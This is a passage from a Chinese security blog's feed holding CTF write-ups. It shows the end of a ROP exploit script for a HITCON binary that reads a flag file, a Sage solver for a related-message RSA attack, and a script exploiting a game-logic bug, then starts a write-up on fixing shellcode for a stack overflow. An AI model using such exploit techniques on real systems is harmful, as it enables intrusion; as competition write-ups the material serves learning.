class="string">''</span></span><br><span class="line"></span><br><span class="line">    <span class="comment">#ebp</span></span><br><span class="line">    payload2 += struct.pack(<span class="string">'&lt;I'</span>, <span class="number">0x00</span>)</span><br><span class="line"></span><br><span class="line">    <span class="comment">#open</span></span><br><span class="line">    payload2 += opep_pid </span><br><span class="line"></span><br><span class="line">    <span class="comment">#ppr</span></span><br><span class="line">    payload2 += ppr </span><br><span class="line"></span><br><span class="line">    <span class="comment">#open arg</span></span><br><span class="line">    payload2 += flag_path</span><br><span class="line">    payload2 += struct.pack(<span class="string">'&lt;I'</span>,<span class="number">0x00</span>) </span><br><span class="line"></span><br><span class="line">    <span class="comment">#read</span></span><br><span class="line">    payload2 += read_pid</span><br><span class="line">    <span class="comment">#pppr</span></span><br><span class="line">    payload2 += pppr</span><br><span class="line">    <span class="comment">#read arg</span></span><br><span class="line">    payload2 += fd</span><br><span class="line">    payload2 += buf</span><br><span class="line">    payload2 += read_size</span><br><span class="line"></span><br><span class="line">    <span class="comment">#write</span></span><br><span class="line">    payload2 += write_pid</span><br><span class="line">    <span class="comment">#****</span></span><br><span class="line">    payload2 += pppr</span><br><span class="line">    <span class="comment">#write arg</span></span><br><span class="line">    payload2 += struct.pack(<span class="string">'&lt;I'</span>,<span class="number">0x1</span>)</span><br><span class="line">    payload2 += buf</span><br><span class="line">    payload2 += read_size</span><br><span class="line"></span><br><span class="line">    payload = payload1 + payload2</span><br><span class="line">    <span class="keyword">print</span> payload</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> \_\_name\_\_ == <span class="string">'\_\_main\_\_'</span>:</span><br><span class="line">    main()</span><br></pre></td></tr></table></figure><h1 id="0x02-rsaha"><a href="#0x02-rsaha" class="headerlink" title="0x02 rsaha"></a>0x02 rsaha</h1><p>这个是利用RSA的低指数攻击 paper<a href="https://www.cs.unc.edu/%7Ereiter/papers/1996/Eurocrypt.pdf" target="_blank" rel="noopener">https://www.cs.unc.edu/~reiter/papers/1996/Eurocrypt.pdf</a> 用到了sage <a href="http://www.sagemath.org/" target="_blank" rel="noopener">http://www.sagemath.org/</a></p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> socket</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">get_m</span><span class="params">(n,c1,c2)</span>:</span></span><br><span class="line">    e=<span class="number">3</span></span><br><span class="line">    x = PolynomialRing(ZZ.quo(n*ZZ), <span class="string">'x'</span>).gen()</span><br><span class="line">    f=x**e-c1</span><br><span class="line">    g=(x+<span class="number">1</span>)**e-c2</span><br><span class="line">    a = f</span><br><span class="line">    b = g</span><br><span class="line">    i = <span class="number">0</span></span><br><span class="line"></span><br><span class="line">    <span class="keyword">while</span> <span class="literal">True</span>:</span><br><span class="line">        r = a % b</span><br><span class="line">        <span class="comment">#print i</span></span><br><span class="line">        <span class="keyword">if</span> r == <span class="number">0</span>:</span><br><span class="line">            <span class="comment">#print 'FOUND %s' % rp</span></span><br><span class="line">            c = rp.coeffs()</span><br><span class="line">            <span class="keyword">return</span> int(-pow(c\[<span class="number">1</span>\], <span class="number">-1</span>, n) * c\[<span class="number">0</span>\])</span><br><span class="line">        rp = r</span><br><span class="line">        a, b = b, r</span><br><span class="line">        i += <span class="number">1</span></span><br><span class="line"></span><br><span class="line">sock = socket.socket(socket.AF\_INET, socket.SOCK\_STREAM)</span><br><span class="line">sock.connect((<span class="string">'54.64.40.172'</span>, <span class="number">5454</span>))</span><br><span class="line"></span><br><span class="line">recv = sock.recv(<span class="number">100000</span>)</span><br><span class="line"><span class="keyword">print</span> repr(recv)</span><br><span class="line">n = int(recv)</span><br><span class="line">recv = sock.recv(<span class="number">100000</span>)</span><br><span class="line">c = recv.split(<span class="string">'n'</span>)</span><br><span class="line">c1 = int(c\[<span class="number">1</span>\])</span><br><span class="line">c2 = int(c\[<span class="number">2</span>\])</span><br><span class="line"></span><br><span class="line"><span class="keyword">print</span> <span class="string">'n:%d'</span> % n</span><br><span class="line"><span class="keyword">print</span> <span class="string">'c1:%d'</span> % c1</span><br><span class="line"><span class="keyword">print</span> <span class="string">'c2:%d'</span> % c2</span><br><span class="line"></span><br><span class="line">m = get_m(n,c1,c2)</span><br><span class="line"><span class="keyword">print</span> m</span><br><span class="line">sock.send(<span class="string">"%dn"</span> % m)</span><br><span class="line"></span><br><span class="line">recv = sock.recv(<span class="number">100000</span>)</span><br><span class="line"><span class="keyword">print</span> repr(recv)</span><br><span class="line"></span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> range(<span class="number">9</span>):</span><br><span class="line">    recv = sock.recv(<span class="number">100000</span>)</span><br><span class="line">    <span class="keyword">print</span> repr(recv)</span><br><span class="line">    c = recv.split(<span class="string">'n'</span>)</span><br><span class="line">    <span class="keyword">print</span> c</span><br><span class="line">    n = int(c\[<span class="number">1</span>\])</span><br><span class="line">    c1 = int(c\[<span class="number">2</span>\])</span><br><span class="line">    c2 = int(c\[<span class="number">3</span>\])</span><br><span class="line"></span><br><span class="line">    <span class="keyword">print</span> <span class="string">'n:%d'</span> % n</span><br><span class="line">    <span class="keyword">print</span> <span class="string">'c1:%d'</span> % c1</span><br><span class="line">    <span class="keyword">print</span> <span class="string">'c2:%d'</span> % c2</span><br><span class="line"></span><br><span class="line">    m = get_m(n,c1,c2)</span><br><span class="line">    <span class="keyword">print</span> <span class="string">'m:%d'</span> % m</span><br><span class="line">    sock.send(<span class="string">"%dn"</span> % m)</span><br><span class="line"></span><br><span class="line">    recv = sock.recv(<span class="number">100000</span>)</span><br><span class="line">    <span class="keyword">print</span> repr(recv)</span><br></pre></td></tr></table></figure><h1 id="0x03-finger"><a href="#0x03-finger" class="headerlink" title="0x03 finger"></a>0x03 finger</h1><p>是ginger的简单版，因为出题人留bug了所以变简单了。。 分析程序，一开始出3个字符串，自己选一个，BOSS选一个。 三个字符串是循环取胜的关系，相当于要跟boss比猜拳。 你先选一个，然后发送这个字符串开头的16位字符串的md5给它，然后boss告诉你它选了什么，之后你再发你选了什么。比胜负。 那个验证的部分我说的简单了，ginger就是要绕过这个验证部分。 finger的话有个bug。如果你作弊了，就是前后不一的话扣1血。你赢了boss它扣1-3血，所以总是可以赢的。 下面是代码</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">#!/usr/bin/python2.7  </span></span><br><span class="line">\<span class="comment"># -*- coding: utf-8 -*- </span></span><br><span class="line"><span class="string">'''</span></span><br><span class="line"><span class="string">Created on 2014年8月17日</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">@author: yf</span></span><br><span class="line"><span class="string">'''</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> socket</span><br><span class="line"><span class="keyword">import</span> md5</span><br><span class="line"><span class="keyword">import</span> re</span><br><span class="line"><span class="keyword">import</span> time</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">get_md5</span><span class="params">(hand)</span>:</span></span><br><span class="line">    <span class="keyword">return</span> int(md5.md5(hand).hexdigest(),<span class="number">16</span>)</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> \_\_name\_\_ == <span class="string">'\_\_main\_\_'</span>:</span><br><span class="line">    sock = socket.socket(socket.AF\_INET, socket.SOCK\_STREAM)</span><br><span class="line">    sock.connect((<span class="string">'210.71.253.236'</span>,<span class="number">7171</span>))</span><br><span class="line"></span><br><span class="line">    <span class="comment">#round num</span></span><br><span class="line">    recv = sock.recv(<span class="number">1024</span>)</span><br><span class="line"></span><br><span class="line">    recv = sock.recv(<span class="number">1024</span>)</span><br><span class="line">    recv = recv.split(<span class="string">'n'</span>)</span><br><span class="line">    hands=\[\]</span><br><span class="line">    <span class="keyword">print</span> recv\[<span class="number">3</span>\]\[<span class="number">9</span>:\]</span><br><span class="line">    hands = eval (recv\[<span class="number">3</span>\]\[<span class="number">9</span>:\])</span><br><span class="line">    secret = hands\[<span class="number">2</span>\]+<span class="string">'11111111111'</span></span><br><span class="line">    sock.send(<span class="string">"1n"</span>)</span><br><span class="line">    recv = sock.recv(<span class="number">1024</span>)</span><br><span class="line">    <span class="keyword">print</span> recv</span><br><span class="line">    sock.send(<span class="string">"%dn"</span> % get_md5(secret))</span><br><span class="line"></span><br><span class="line">    time.sleep(<span class="number">2</span>)</span><br><span class="line">    recv = sock.recv(<span class="number">1024</span>)</span><br><span class="line">    <span class="keyword">print</span> recv</span><br><span class="line">    his_hand = recv\[recv.find(<span class="string">'e:'</span>)+<span class="number">3</span>:recv.find(<span class="string">'e:'</span>)+<span class="number">8</span>\]</span><br><span class="line">    <span class="keyword">print</span> <span class="string">'HIS:'</span>+his_hand</span><br><span class="line">    <span class="keyword">if</span> his_hand==hands\[<span class="number">0</span>\]:</span><br><span class="line">        sock.send(<span class="string">'111n'</span>)</span><br><span class="line">    <span class="keyword">else</span>:</span><br><span class="line">        sock.send(secret+<span class="string">'n'</span>)</span><br><span class="line">    recv = sock.recv(<span class="number">1024</span>)</span><br><span class="line">    <span class="keyword">print</span> recv</span><br><span class="line"></span><br><span class="line">    <span class="keyword">while</span> <span class="number">1</span>:</span><br><span class="line">        <span class="comment">#new round</span></span><br><span class="line">        time.sleep(<span class="number">0.5</span>)</span><br><span class="line">        recv = sock.recv(<span class="number">1024</span>)</span><br><span class="line">        <span class="keyword">print</span> recv</span><br><span class="line">        recv = recv.split(<span class="string">'n'</span>)</span><br><span class="line">        <span class="keyword">print</span> recv</span><br><span class="line"></span><br><span class="line">        hands = eval (recv\[<span class="number">4</span>\]\[<span class="number">9</span>:\])</span><br><span class="line">        secret = hands\[<span class="number">2</span>\]+<span class="string">'11111111111'</span></span><br><span class="line">        sock.send(<span class="string">"1n"</span>)</span><br><span class="line">        recv = sock.recv(<span class="number">1024</span>)</span><br><span class="line">        <span class="keyword">print</span> recv</span><br><span class="line">        sock.send(<span class="string">"%dn"</span> % get_md5(secret))</span><br><span class="line">        time.sleep(<span class="number">2</span>)</span><br><span class="line">        recv = sock.recv(<span class="number">1024</span>)</span><br><span class="line">        <span class="keyword">print</span> recv</span><br><span class="line">        his_hand = recv\[recv.find(<span class="string">'e:'</span>)+<span class="number">3</span>:recv.find(<span class="string">'e:'</span>)+<span class="number">8</span>\]</span><br><span class="line">        <span class="keyword">print</span> <span class="string">'HIS:'</span>+his_hand</span><br><span class="line"></span><br><span class="line">        <span class="keyword">if</span> his_hand==hands\[<span class="number">0</span>\]:</span><br><span class="line">            sock.send(<span class="string">'111n'</span>)</span><br><span class="line">        <span class="keyword">else</span>:</span><br><span class="line">            sock.send(secret+<span class="string">'n'</span>)</span><br><span class="line">        recv = sock.recv(<span class="number">1024</span>)</span><br><span class="line">        <span class="keyword">print</span> recv</span><br></pre></td></tr></table></figure>]]></content>
    
    <summary type="html">
    
      
      
        &lt;h1 id=&quot;0x01-rsbo&quot;&gt;&lt;a href=&quot;#0x01-rsbo&quot; class=&quot;headerlink&quot; title=&quot;0x01 rsbo&quot;&gt;&lt;/a&gt;0x01 rsbo&lt;/h1&gt;&lt;p&gt;ELF 32-bit LSB  executable 栈有随机化且不能执行 静态分析
      
    
    </summary>
    
      <category term="writeups" scheme="https://blog.eadom.net/categories/writeups/"/>
    
    
      <category term="writeup" scheme="https://blog.eadom.net/tags/writeup/"/>
    
      <category term="hitcon-ctf" scheme="https://blog.eadom.net/tags/hitcon-ctf/"/>
    
  </entry>
  
  <entry>
    <title>第二届360信息技术大赛逆向第五题writeup</title>
    <link href="https://blog.eadom.net/writeups/2nd-360ctf-reverse5-writeup/"/>
    <id>https://blog.eadom.net/writeups/2nd-360ctf-reverse5-writeup/</id>
    <published>2014-07-03T15:28:53.000Z</published>
    <updated>2025-11-21T12:45:50.752Z</updated>
    
    <content type="html"><![CDATA[<h2 id="题目说明"><a href="#题目说明" class="headerlink" title="题目说明"></a>题目说明</h2><p>本道题目中的MFC_ASM.exe是一个有漏洞的可执行程序：它会去读取服务器上的一段包含shellcode的文件Exploit.html。 但是，该Exploit.html文件的shellcode并不能直接执行。分析MFC_ASM.exe引发漏洞的代码片段，并修改 Exploit.html文件中的shellcode布局，以便让MFC_ASM.exe正常执行，以便得到KEY。 先搭建该EXE的执行环境： 1、在本地安装appserv[如果不知道appserv是啥，请自行so.com一下]，配置HTTP端口为80 2、将您修改后的Exploit.html以及压缩包中的shell.dat复制到www目录下 3、运行MFC_ASM.exe，如果您成功修复了该Exploit.html，会弹出key，否则，崩溃</p><h2 id="MFC-ASM-EXE分析"><a href="#MFC-ASM-EXE分析" class="headerlink" title="MFC_ASM.EXE分析"></a>MFC_ASM.EXE分析</h2><p>（先吐槽下那个网站上的题解根本就是抄题目加放KEY啊- -） 逆向一下可以找到溢出的函数，MFC_ASM.EXE就是上网页把exploit.html下下来，同时栈溢出了。。 这样分析应该是MFC_ASM.EXE从exploit.html下载信息导致溢出，之后触发shellcode然后对shell.bat进行操作，之后导致弹窗。 <img src="data:image/png;base64,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" alt> 原先使用时 <img src="data:image/png;base64,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